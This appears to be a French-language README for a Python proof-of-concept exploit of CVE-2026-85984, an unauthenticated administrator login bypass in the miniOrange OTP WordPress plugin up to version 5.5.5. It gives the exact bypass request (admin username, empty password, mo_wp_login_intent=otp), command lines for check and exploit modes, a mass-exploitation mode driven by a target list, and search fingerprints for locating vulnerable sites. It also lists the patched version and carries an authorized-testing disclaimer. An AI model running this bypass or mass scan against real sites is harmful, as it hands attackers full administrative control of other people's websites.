murrez/cve-2026-85984PoC Python pour CVE-2026-85984 : vérifie et exploite le contournement d'authentification admin WordPress non authentifié du plugin miniOrange OTP (≤5.5.5), avec scan de version et énumération d'utilisateurs.
PoC Python 3 pour CVE-2026-85984 — miniOrange OTP Login, Verification and SMS Notifications ≤ 5.5.5.
CVE-2026-85984 — contournement d'authentification non authentifié (CWE-287) via le paramètre POST mo_wp_login_intent=otp avec un mot de passe vide. Dans la branche skip_pass_fallback de mo_by_pass_login(), le plugin ignore wp_authenticate_username_password(), résout l'utilisateur par le nom d'utilisateur uniquement, et considère le rôle administrateur comme suffisant lorsque les options Admin OTP Bypass sont activées.
Attaque : wp-login.php avec log=<admin_user>, pwd= (vide), mo_wp_login_intent=otp.
Conditions (toutes doivent être activées par l'administrateur du site) :
CVSS 3.1 : 9.8 Critique (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). Correctif : 5.5.6+ (CNA Wordfence, découvreur Supakiad S. / m3ez).
Page du PoC : https://pocbit.org/pocs/cve-2026-85984
Catalogue : https://pocbit.org/pocs/
| Slug du plugin | miniorange-otp-verification |
| Affecté | ≤ 5.5.5 |
| Corrigé | 5.5.6+ |
| Vecteur | wp-login.php + mo_wp_login_intent=otp |
| Impact | Session administrateur (compromission totale du site) |
Le PoC inclut une bannière CLI colorée, un scan du plugin/de la version, une énumération d'utilisateurs optionnelle (REST/author), une tentative de contournement --mode exploit, un JSONL en masse avec pocbit / pocbit_catalog / pocbit_page.
pip install -r requirements.txt
python poc.py -u https://wordpress.example --mode check
python poc.py -u https://wordpress.example --mode check --probe-login
python poc.py -u https://wordpress.example --mode exploit --username admin
python poc.py --list targets.example.txt --mode exploit -j 8
python poc.py -u https://wordpress.example --mode exploit --no-color
body="/wp-content/plugins/miniorange-otp-verification"
body="mo_wp_login_intent"
PoC CVE-2026-85984 : miniOrange OTP pour WordPress ≤5.5.5, contournement admin non authentifié via mo_wp_login_intent=otp + mot de passe vide. Modes vérification/exploitation, CLI colorée. PoCbit
CVE-2026-85984 : dans l'extension miniOrange OTP, mot de passe vide + mo_wp_login_intent=otp permet une session administrateur (nécessite une mauvaise configuration OTP). Correctif 5.5.6. PoC : interface colorée + mode exploit.
Tests autorisés uniquement. Ne pas utiliser sur des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation de tester.